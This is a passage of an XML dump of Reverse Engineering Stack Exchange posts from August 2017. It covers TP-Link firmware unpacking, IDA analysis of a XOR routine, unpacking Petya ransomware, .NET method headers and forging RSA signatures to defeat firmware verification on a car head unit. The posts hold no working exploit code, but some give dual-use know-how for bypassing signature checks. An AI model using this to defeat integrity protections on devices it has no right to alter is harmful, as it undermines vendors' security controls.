MTU&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I have set my NIC to 1420 and my navigation issues are resolved. When returning back to 1500 the issue returns.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WWuZ5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWuZ5.png&quot; alt=&quot;NIC MTU&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to reverse engineer the following firmware files with no luck:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.tp-link.com/res/down/soft/TD-W8960N(EU)_V7_160614.zip&quot; rel=&quot;noreferrer&quot;&gt;TD-W8960N(EU)_V7_160614.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.tp-link.com/res/down/soft/TD-W8960N(EU)_V7_160118.zip&quot; rel=&quot;noreferrer&quot;&gt;TD-W8960N(EU)_V7_160118.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.tp-link.com/TD-W8960N(EU)_V8_170106.zip&quot; rel=&quot;noreferrer&quot;&gt;TD-W8960N(EU)_V8_170106.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen the following guide which shows the process very clearly, however, this guide is for v5 and it seems in v5 they used a squash filesystem and have since changed for newer versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.inforge.net/xi/threads/estrarre-file-system-firmware-tp-link-td-w8960n.449500/&quot; rel=&quot;noreferrer&quot;&gt;Inforge.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do a binwalk for the three files I am trying I see the same output (or close enough):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MONaj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MONaj.png&quot; alt=&quot;Binwalk&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have literally just started trying to do and learn this stuff so forgive any stupidity from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firmware Modification kit - extract-firmware.sh&lt;/li&gt;&#xA;&lt;li&gt;Firmware Modification kit - extract-ng.sh&lt;/li&gt;&#xA;&lt;li&gt;Firmware Modification kit - old-extract.sh&lt;/li&gt;&#xA;&lt;li&gt;Firmware Modification kit - tpl-tool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have tried multiple sources of the firmware modification kit. I have also tried router tools zynos.py, but as I understand the ZynOS is not used on this device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dev-zzo/router-tools&quot; rel=&quot;noreferrer&quot;&gt;Router Tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All either fail or result in a message stating it is unsupported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am presuming that from the binwalk output the file system is &lt;code&gt;ecosFS&lt;/code&gt; from the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;768           0x300           eCos RTOS string reference: &quot;eCosFS&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done some research and I see ecosfs is a file system and possibly related to Yffs which I believe Firmware Modification Kit was capable of, but this is the first I have heard of this file system. Can anyone advise what can be done to unpack and repack a firmware like this, are there any tools specific to ecosfs that are necessary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have literally turned google purple trying to wrap my head around this and could do with a push in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 03-08-2017&lt;/strong&gt;&#xA;I can now see (maybe more understand), that the original extraction using binwalk gave me a 7zip file of the LZMA data 6223D.7z. I have extracted this file and I have a data file. If I run binwalk on this I see more  mention of eCos, VxWorks and little/big endian. This would lead me to suspect I am getting further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fmf1k.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fmf1k.png&quot; alt=&quot;Ecos Binwalk&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21091" LastEditorUserId="21091" LastEditDate="2017-08-03T08:53:38.383" LastActivityDate="2019-04-30T19:06:32.257" Title="RE Tplink TD-W8960N V7" Tags="|firmware|embedded|patch-reversing|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15987" PostTypeId="1" AcceptedAnswerId="15996" CreationDate="2017-08-03T07:07:58.243" Score="0" ViewCount="560" Body="&lt;p&gt;I am working on reverse engineering an algorithm and I am using IDA. This is how the stack definition looks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_41E= word ptr -41Eh&#xA;s= byte ptr -412h&#xA;var_401= byte ptr -401h (v23)&#xA;var_400= byte ptr -400h (v22)- IDA shows as db 835&#xA;var_BD= word ptr -0BDh&#xA;var_13= byte ptr -13h (v25)&#xA;var_12= byte ptr -12h&#xA;var_11= byte ptr -11h&#xA;var_10= byte ptr -10h&#xA;var_F= byte ptr -0Fh&#xA;var_E= byte ptr -0Eh&#xA;var_D= byte ptr -0Dh&#xA;arg_0= dword ptr  8&#xA;dest= dword ptr  0Ch&#xA;arg_8= dword ptr  10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is this code block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_1B41AA:&#xA;mov     al, [ebp+edx+var_12]&#xA;xor     [ebp+edx+var_400], al&#xA;inc     edx&#xA;cmp     edx, 4&#xA;jnz     short loc_1B41AA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which translates to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do&#xA;{&#xA;  v23[v11] ^= *(&amp;amp;v26 + v11);&#xA;  ++v11;&#xA;}&#xA;while ( v11 != 4 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is, this v23 is never used. I was thinking perhaps this is a pointer to another spot in memory, but I'm unable to find this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next section of code reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do&#xA;{&#xA;  *(&amp;amp;v25 + v11) ^= *(&amp;amp;v22 + v11);&#xA;  ++v11;&#xA;}&#xA;while ( v11 != 5 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which again, v22 is never used anywhere else. Nor is v25. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I'm missing something obvious. I have been able to reversed previous formula's so I just don't understand why this seems to allude me. I was thinking maybe this is some trash code to throw people off, but I'm not sure because I've replicated the rest of the process and the results aren't right. If I need to provide additional information, let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entire code block for better reference:&#xA;v9 is a 8 byte buffer. byte 0 is not used by the algorithm. I see &quot;*(&amp;amp;v25 + v11) ^= *(&amp;amp;v22 + v11)&quot; which seems like it could be altering this array? I suck at stack related things...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v26 = *(_BYTE *)(v9 + 1) ^ 0x42;&#xA;v27 = *(_BYTE *)(v9 + 2) ^ 0x4F;&#xA;v28 = *(_BYTE *)(v9 + 3) ^ 0x4C;&#xA;v29 = *(_BYTE *)(v9 + 4) ^ 0x37;&#xA;v30 = *(_BYTE *)(v9 + 5) ^ 0x37;&#xA;v10 = *(_BYTE *)(v9 + 6);&#xA;v11 = 0;&#xA;v31 = v10 ^ 0x36;&#xA;do&#xA;{&#xA;  v23[v11] ^= *(&amp;amp;v26 + v11);&#xA;  ++v11;&#xA;}&#xA;while ( v11 != 4 );&#xA;LOBYTE(v11) = 1;&#xA;do&#xA;{&#xA;  *(&amp;amp;v25 + v11) ^= *(&amp;amp;v22 + v11);&#xA;  ++v11;&#xA;}&#xA;while ( v11 != 5 );&#xA;&#xA;&#xA;&#xA;.text:001B4166                 mov     esi, [ebp+arg_0]&#xA;.text:001B4169                 mov     edx, [esi+120h]&#xA;.text:001B416F                 add     esp, 10h&#xA;.text:001B4172                 mov     al, [edx+1]&#xA;.text:001B4175                 xor     eax, 42h&#xA;.text:001B4178                 mov     [ebp+var_12], al&#xA;.text:001B417B                 mov     al, [edx+2]&#xA;.text:001B417E                 xor     eax, 4Fh&#xA;.text:001B4181                 mov     [ebp+var_11], al&#xA;.text:001B4184                 mov     al, [edx+3]&#xA;.text:001B4187                 xor     eax, 4Ch&#xA;.text:001B418A                 mov     [ebp+var_10], al&#xA;.text:001B418D                 mov     al, [edx+4]&#xA;.text:001B4190                 xor     eax, 37h&#xA;.text:001B4193                 mov     [ebp+var_F], al&#xA;.text:001B4196                 mov     al, [edx+5]&#xA;.text:001B4199                 xor     eax, 37h&#xA;.text:001B419C                 mov     [ebp+var_E], al&#xA;.text:001B419F                 mov     al, [edx+6]&#xA;.text:001B41A2                 xor     edx, edx&#xA;.text:001B41A4                 xor     eax, 36h&#xA;.text:001B41A7                 mov     [ebp+var_D], al&#xA;.text:001B41AA&#xA;.text:001B41AA loc_1B41AA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+243j&#xA;.text:001B41AA                 mov     al, [ebp+edx+var_12]&#xA;.text:001B41AE                 xor     [ebp+edx+var_400], al&#xA;.text:001B41B5                 inc     edx&#xA;.text:001B41B6                 cmp     edx, 4&#xA;.text:001B41B9                 jnz     short loc_1B41AA&#xA;.text:001B41BB                 mov     dl, 1&#xA;.text:001B41BD&#xA;.text:001B41BD loc_1B41BD:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+256j&#xA;.text:001B41BD                 mov     al, [ebp+edx+var_401]&#xA;.text:001B41C4                 xor     [ebp+edx+var_13], al&#xA;.text:001B41C8                 inc     edx&#xA;.text:001B41C9                 cmp     edx, 5&#xA;.text:001B41CC                 jnz     short loc_1B41BD&#xA;.text:001B41CE                 xor     ecx, ecx&#xA;.text:001B41D0&#xA;.text:001B41D0 loc_1B41D0:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+283j&#xA;.text:001B41D0                 cmp     ecx, 11h&#xA;.text:001B41D3                 jbe     short loc_1B41DA&#xA;.text:001B41D5                 cmp     ecx, 15h&#xA;.text:001B41D8                 jbe     short loc_1B41F2&#xA;.text:001B41DA&#xA;.text:001B41DA loc_1B41DA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+25Dj&#xA;.text:001B41DA                 mov     edx, 6&#xA;.text:001B41DF                 mov     eax, ecx&#xA;.text:001B41E1                 mov     esi, edx&#xA;.text:001B41E3                 xor     edx, edx&#xA;.text:001B41E5                 div     esi&#xA;.text:001B41E7                 mov     al, [ebp+edx+var_12]&#xA;.text:001B41EB                 xor     [ebp+ecx+s], al&#xA;.text:001B41F2&#xA;.text:001B41F2 loc_1B41F2:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+262j&#xA;.text:001B41F2                 inc     ecx&#xA;.text:001B41F3                 cmp     ecx, 400h&#xA;.text:001B41F9                 jnz     short loc_1B41D0&#xA;.text:001B41FB                 xor     esi, esi&#xA;.text:001B41FD                 lea     ecx, [ebp+s]&#xA;.text:001B4203                 xor     edx, edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18726" LastEditorUserId="60" LastEditDate="2017-08-04T09:30:50.167" LastActivityDate="2017-08-04T09:30:50.167" Title="IDA Pro - Stack variable only used in one place?" Tags="|ida|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15988" PostTypeId="1" CreationDate="2017-08-03T08:13:38.247" Score="0" ViewCount="674" Body="&lt;p&gt;I want to manually unpack red &lt;strong&gt;Petya&lt;/strong&gt; ransomware. I used Ollydbg for unpacking and set breakpoint on &lt;code&gt;VirtualAlloc&lt;/code&gt; to see the &quot;MZ&quot; header in memory dump, and saved it to a file. But the saved file is not valid, PEiD say it is not a valid file for example. I think it destroys its data directories. Is there any solution for repair this executable that I can try?&lt;/p&gt;&#xA;" OwnerUserId="21096" LastEditorUserId="60" LastEditDate="2017-08-03T19:43:20.557" LastActivityDate="2017-08-07T10:39:14.920" Title="Manual unpacking petya ransom" Tags="|ollydbg|malware|unpacking|" AnswerCount="2" CommentCount="5" ClosedDate="2017-08-12T02:09:33.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="15989" PostTypeId="1" AcceptedAnswerId="15997" CreationDate="2017-08-03T09:39:37.593" Score="0" ViewCount="213" Body="&lt;p&gt;If I'm looking at a binary compiled with VC++ in a hex editor and I want to identify the start of functions - I can look for the hex &quot;55 8B&quot; - which is a common function prolog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something equivalent with .net CIL? I.e. is there a hex pattern I can look for to identify the start of functions raw?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application here is to look for shared code between malware samples.&lt;/p&gt;&#xA;" OwnerUserId="21098" LastActivityDate="2017-08-03T19:41:07.447" Title="Do .NET functions have function prologs?" Tags="|assembly|hex|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15990" PostTypeId="2" ParentId="15989" CreationDate="2017-08-03T10:25:39.027" Score="4" Body="&lt;p&gt;I dont think .NET is as simple.. you can clearly see it in IDA Pro - there at least a few different one byte function prologues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not use a decompiler library for dnSpy/de4dot - &lt;a href=&quot;https://github.com/0xd4d/dnlib&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnlib&lt;/a&gt; to decompile and then use code clone detection, for example &lt;a href=&quot;http://www.harukizaemon.com/simian/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simian&lt;/a&gt; or implement some fuzzy matching (hashing?) algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.NET generally decompiles nicely when its not packed or obfuscated. If it is however obfuscated or packed you will not have a great deal of success in matching the functions.&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2017-08-03T15:09:04.083" LastActivityDate="2017-08-03T15:09:04.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15992" PostTypeId="1" CreationDate="2017-08-03T16:41:44.427" Score="1" ViewCount="652" Body="&lt;p&gt;I really liked the answer in this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12286/defeat-rsa-hash-verification/12287&quot;&gt;Defeat rsa hash verification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I do not really understand this part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;taking the signature s raised to the power of 3 modulus n we wind up with the following value&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see where the strings come from but could someone point me to a box filling operation or perhaps some OpenSSL code so that I can generate the resultant string shown. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003021300906052b0e03021a050004145e3246e50a4dad079a61f99fa3297c01d802e038&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a VAG MIB2 with QNX, which uses the metachecksum and signatures. So I feel that if I can emulate the process described, I'd have a go and see where it leads.&lt;/p&gt;&#xA;" OwnerUserId="21106" LastEditorUserId="2147" LastEditDate="2017-08-04T01:23:43.793" LastActivityDate="2018-03-05T10:21:52.250" Title="Defeat RSA hash verification - QNX working example" Tags="|encryption|qnx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15993" PostTypeId="2" ParentId="15566" CreationDate="2017-08-03T17:15:54.847" Score="1" Body="&lt;p&gt;Yes, it seems to be the case, they just didn't update the radar2 book, here is the update that removes mentioning MSIL as one of the platforms: &lt;a href=&quot;https://github.com/radare/radare2book/pull/60/files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github radare2 book merged pull request for the correction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2878" LastActivityDate="2017-08-03T17:15:54.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15996" PostTypeId="2" ParentId="15987" CreationDate="2017-08-03T19:25:00.430" Score="2" Body="&lt;p&gt;that code is referencing a byte pointer inside a structure  you need to define a structure in ida assign it members (it references 120 so your structure size should be &gt; 120)  and then define the bytepointer member and re analyze your program ida should now provide a better pseudo code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a small c code that could generate the code in assembly and its ida counter part posted as demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src code as follows compiled and linked with vs 2015 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;typedef struct _MYSTRUCT {&#xA;    DWORD memberone[72];&#xA;    PCHAR  membertwo;&#xA;}Mystruct , *PMystruct;&#xA;void docall(PMystruct argone) {&#xA;    char zo[8];&#xA;// disassembly refers to 2 byte in the string passed by addr @(edx+1)   &#xA;    zo[0] = argone-&amp;gt;membertwo[1] ^ 13;&#xA;    zo[1] = argone-&amp;gt;membertwo[2] ^ 37;&#xA;    zo[2] = argone-&amp;gt;membertwo[3] ^ 94;&#xA;    zo[3] = argone-&amp;gt;membertwo[4] ^ 94; &#xA;    zo[4] = argone-&amp;gt;membertwo[5] ^ 13;&#xA;    zo[5] = argone-&amp;gt;membertwo[6] ^ 37;&#xA;    zo[6] = argone-&amp;gt;membertwo[7] ^ 94;&#xA;    zo[7] = argone-&amp;gt;membertwo[8] ^ 94;&#xA;        for(int i =0; i&amp;lt;8;i++)&#xA;        {&#xA;            printf (&quot;%c&quot;,zo[i]);&#xA;        }&#xA;}&#xA;int main(void) {&#xA;    Mystruct teststruct;&#xA;    PCHAR mystr = &quot;Oe@22e@22&quot;;&#xA;    teststruct.membertwo = mystr;&#xA;    docall(&amp;amp;teststruct);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can observe a striking similarity to the disassembly you edited in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401001 ; int __cdecl docall(Mystruct *argone)&#xA;.text:00401001 docall          proc near               ; CODE XREF: main+17p&#xA;.text:00401001&#xA;.text:00401001 var_C           = byte ptr -0Ch&#xA;.text:00401001 var_4           = dword ptr -4&#xA;.text:00401001 argone          = dword ptr  8&#xA;.text:00401001&#xA;.text:00401001                 push    ebp&#xA;.text:00401002                 mov     ebp, esp&#xA;.text:00401004                 sub     esp, 0Ch&#xA;.text:00401007                 mov     eax, __security_cookie&#xA;.text:0040100C                 xor     eax, ebp&#xA;.text:0040100E                 mov     [ebp+var_4], eax&#xA;.text:00401011                 mov     eax, [ebp+argone]&#xA;.text:00401014                 push    esi&#xA;.text:00401015                 mov     ecx, [eax+Mystruct.membertwo]&#xA;.text:0040101B                 mov     al, [ecx+1]&#xA;.text:0040101E                 xor     al, 0Dh&#xA;.text:00401020                 mov     [ebp+var_C], al&#xA;.text:00401023                 mov     al, [ecx+2]&#xA;.text:00401026                 xor     al, 25h&#xA;.text:00401028                 mov     [ebp+var_C+1], al&#xA;.text:0040102B                 mov     al, [ecx+3]&#xA;.text:0040102E                 xor     al, 5Eh&#xA;.text:00401030                 mov     [ebp+var_C+2], al&#xA;.text:00401033                 mov     al, [ecx+4]&#xA;.text:00401036                 xor     al, 5Eh&#xA;.text:00401038                 mov     [ebp+var_C+3], al&#xA;.text:0040103B                 mov     al, [ecx+5]&#xA;.text:0040103E                 xor     al, 0Dh&#xA;.text:00401040                 mov     [ebp+var_C+4], al&#xA;.text:00401043                 mov     al, [ecx+6]&#xA;.text:00401046                 xor     al, 25h&#xA;.text:00401048                 mov     [ebp+var_C+5], al&#xA;.text:0040104B                 mov     al, [ecx+7]&#xA;.text:0040104E                 xor     al, 5Eh&#xA;.text:00401050                 mov     [ebp+var_C+6], al&#xA;.text:00401053                 mov     al, [ecx+8]&#xA;.text:00401056                 xor     al, 5Eh&#xA;.text:00401058                 xor     esi, esi&#xA;.text:0040105A                 mov     [ebp+var_C+7], al&#xA;.text:0040105D&#xA;.text:0040105D loc_40105D:                             ; CODE XREF: docall+72j&#xA;.text:0040105D                 movzx   eax, [ebp+esi+var_C]&#xA;.text:00401062                 push    eax&#xA;.text:00401063                 push    offset asc_43B1A0 ; &quot;%&quot;&#xA;.text:00401068                 call    printf&#xA;.text:0040106D                 inc     esi&#xA;.text:0040106E                 pop     ecx&#xA;.text:0040106F                 pop     ecx&#xA;.text:00401070                 cmp     esi, 8&#xA;.text:00401073                 jl      short loc_40105D&#xA;.text:00401075                 mov     ecx, [ebp+var_4]&#xA;.text:00401078                 xor     ecx, ebp&#xA;.text:0040107A                 pop     esi&#xA;.text:0040107B                 call    __security_check_cookie&#xA;.text:00401080                 mov     esp, ebp&#xA;.text:00401082                 pop     ebp&#xA;.text:00401083                 retn&#xA;.text:00401083 docall          endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;find and convert the var a,b,c,x,y,.... to a proper sized array so that &#xA;instead of var a, var b ida would show varx+1 , varx+2 etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;insert or define a structure of proper size &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit the function and set its function type (from a possible int to Mystruct *) using the above define struct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;re analyze the program if you have hexrays redo the decompiling to see a fresh pseudo code should be much better than your present *x+*y+*z = *v/&lt;em&gt;t&lt;/em&gt;-infinity &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code is xorring a specific portion(400 bytes) of the input with gaps in between (11h and 15h) &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-08-03T19:25:00.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15997" PostTypeId="2" ParentId="15989" CreationDate="2017-08-03T19:41:07.447" Score="5" Body="&lt;p&gt;There is no real prolog in IL code because it does not need to manage the stack, save clobbered registers, or do any other standard bookkeeping necessary in the native code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the bytecode itself is preceded by the &lt;em&gt;method header&lt;/em&gt;, and those have a limited number of possibilities. From the book &lt;a href=&quot;https://books.google.be/books?id=Xv_0AwAAQBAJ&amp;amp;pg=PA190&amp;amp;lpg=PA190&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;.NET IL Assembler&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Method Header Attributes&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The RVA value (if it is nonzero) of a Method record points to the&#xA;  method body. Two types of method headers—fat and tiny—are defined in&#xA;  CorHdr.h. The first two bits of the header indicate its type: bit 10&#xA;  stands for the tiny format, and bit 11 stands for the fat format. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...] &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A tiny method header is only 1 byte in size, with the first two&#xA;  (least significant) bits holding the type—10—and the six remaining&#xA;  bits holding the method IL code size in bytes. A method is given a&#xA;  tiny header if it has neither local variables nor managed exception&#xA;  handling, if it works fine with the default evaluation stack depth of&#xA;  8 slots, and if its code size is less than 64 bytes.  A fat header is&#xA;  12 bytes in size and has the structure described in Table 10-1. The&#xA;  fat headers must begin at 4-byte boundaries. Figure 10-4 shows the&#xA;  structures of both tiny and fat method headers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you take some .NET binaries, look up method RVAs in the metadata and go to that RVA in the binary, you can collect some patterns of headers and use them to find bytecode in the binary. (although I would suggest just using metadata in the first place - it lists locations of all legitimate methods in the binary).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-03T19:41:07.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15999" PostTypeId="2" ParentId="15961" CreationDate="2017-08-04T01:48:31.973" Score="0" Body="&lt;p&gt;If cheatengine is insufficient, and debugging feels like too much, a middle ground could be using API monitoring tools.&#xA;API monitoring tools will, in one way or another, hook all (or most) APIs being called by a process and record most of the input and output of every call. This obviously slows down the process considerably but if that is acceptable will provide a lot of data in a readable and useful way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often use &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;rohitab's API Monitor&lt;/a&gt; as it's very flexible and manages to provide a lot of information per API.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-08-04T01:48:31.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16001" PostTypeId="2" ParentId="8823" CreationDate="2017-08-04T13:03:59.787" Score="0" Body="&lt;p&gt;Have a look at NativeFunction API of &lt;a href=&quot;http://frida.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt;. It helps you call any native function. With a little bit of reversing, you'll have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var func = new NativeFunction(Module.findExportByName('libxx.so', 'fun'), 'uint32', []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-08-04T13:03:59.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16002" PostTypeId="2" ParentId="15904" CreationDate="2017-08-04T16:13:10.570" Score="0" Body="&lt;p&gt;After many hours of reverse-engineering, I finally discovered that the app was actually throwing a FacebookAuthorizationException, where the stored key hash in the apk does not match with the one in the developer's portal.(due to re-compilation). I suppose there is no way to surpass this since the access token is needed to log in with facebook. I believe I can therefore safely say that apks that only allow log in with facebook would be almost impossible to modify (and still work) since the access token would not be returned by facebook which is needed for authorization. (Unless the reverser is able to log in to the developer's portal to add the new key hash but that is a different matter)&lt;/p&gt;&#xA;" OwnerUserId="20823" LastActivityDate="2017-08-04T16:13:10.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16003" PostTypeId="2" ParentId="15936" CreationDate="2017-08-04T16:22:10.897" Score="1" Body="&lt;p&gt;I can see three ways to do that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AppCall&lt;/a&gt; functionality to call that function from within IDA's console.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spawning a debugger (x64, olly) and debug any process, find an empty region in memory and change the instruction pointer to point to it. Since parameters to this function are passed on the stack, make sure you override the stack with your desired input value.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're looking for a more automated/generic approach to running that function, run that code from within your own executable, as if it was a C function compiled.&lt;/p&gt;&#xA;&lt;p&gt;Using GCC and &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extended ASM&lt;/a&gt; you can create a small stub function that will only push variables to the stack and jump to an executable region containing the raw binary defined in an array for example (make sure the region is executable and protections are off). You could also simply embed the copied assembly into your code.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-04T16:22:10.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16004" PostTypeId="1" AcceptedAnswerId="16007" CreationDate="2017-08-04T16:43:39.530" Score="3" ViewCount="2081" Body="&lt;p&gt;I need to extract the IP that a certain application is using to receive and/or send data, is there any tool or software that would do this for me ? or any simple way without needing to dig into the application calls ?&lt;/p&gt;&#xA;" OwnerUserId="21054" LastActivityDate="2017-08-04T20:15:06.287" Title="Any tool for finding IP that a process use/access?" Tags="|tools|process|callstack|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16005" PostTypeId="2" ParentId="16004" CreationDate="2017-08-04T16:58:36.647" Score="1" Body="&lt;p&gt;&lt;em&gt;Since OP's answer was a bit low on details, i'll assume Linux and Dynamic IP.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On most OSes there are tools to list network resources taken by processes. This often includes IP addresses and ports used for existing connections. If you want to list existing connections and their owning processes on linux, running the &lt;code&gt;netstat&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By providing it some command line arguments you can get the desired information, consulting man pages is always recommended but for your specific case running &lt;code&gt;netstat -ape&lt;/code&gt; to list all connections with their pid and username.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-08-04T16:58:36.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
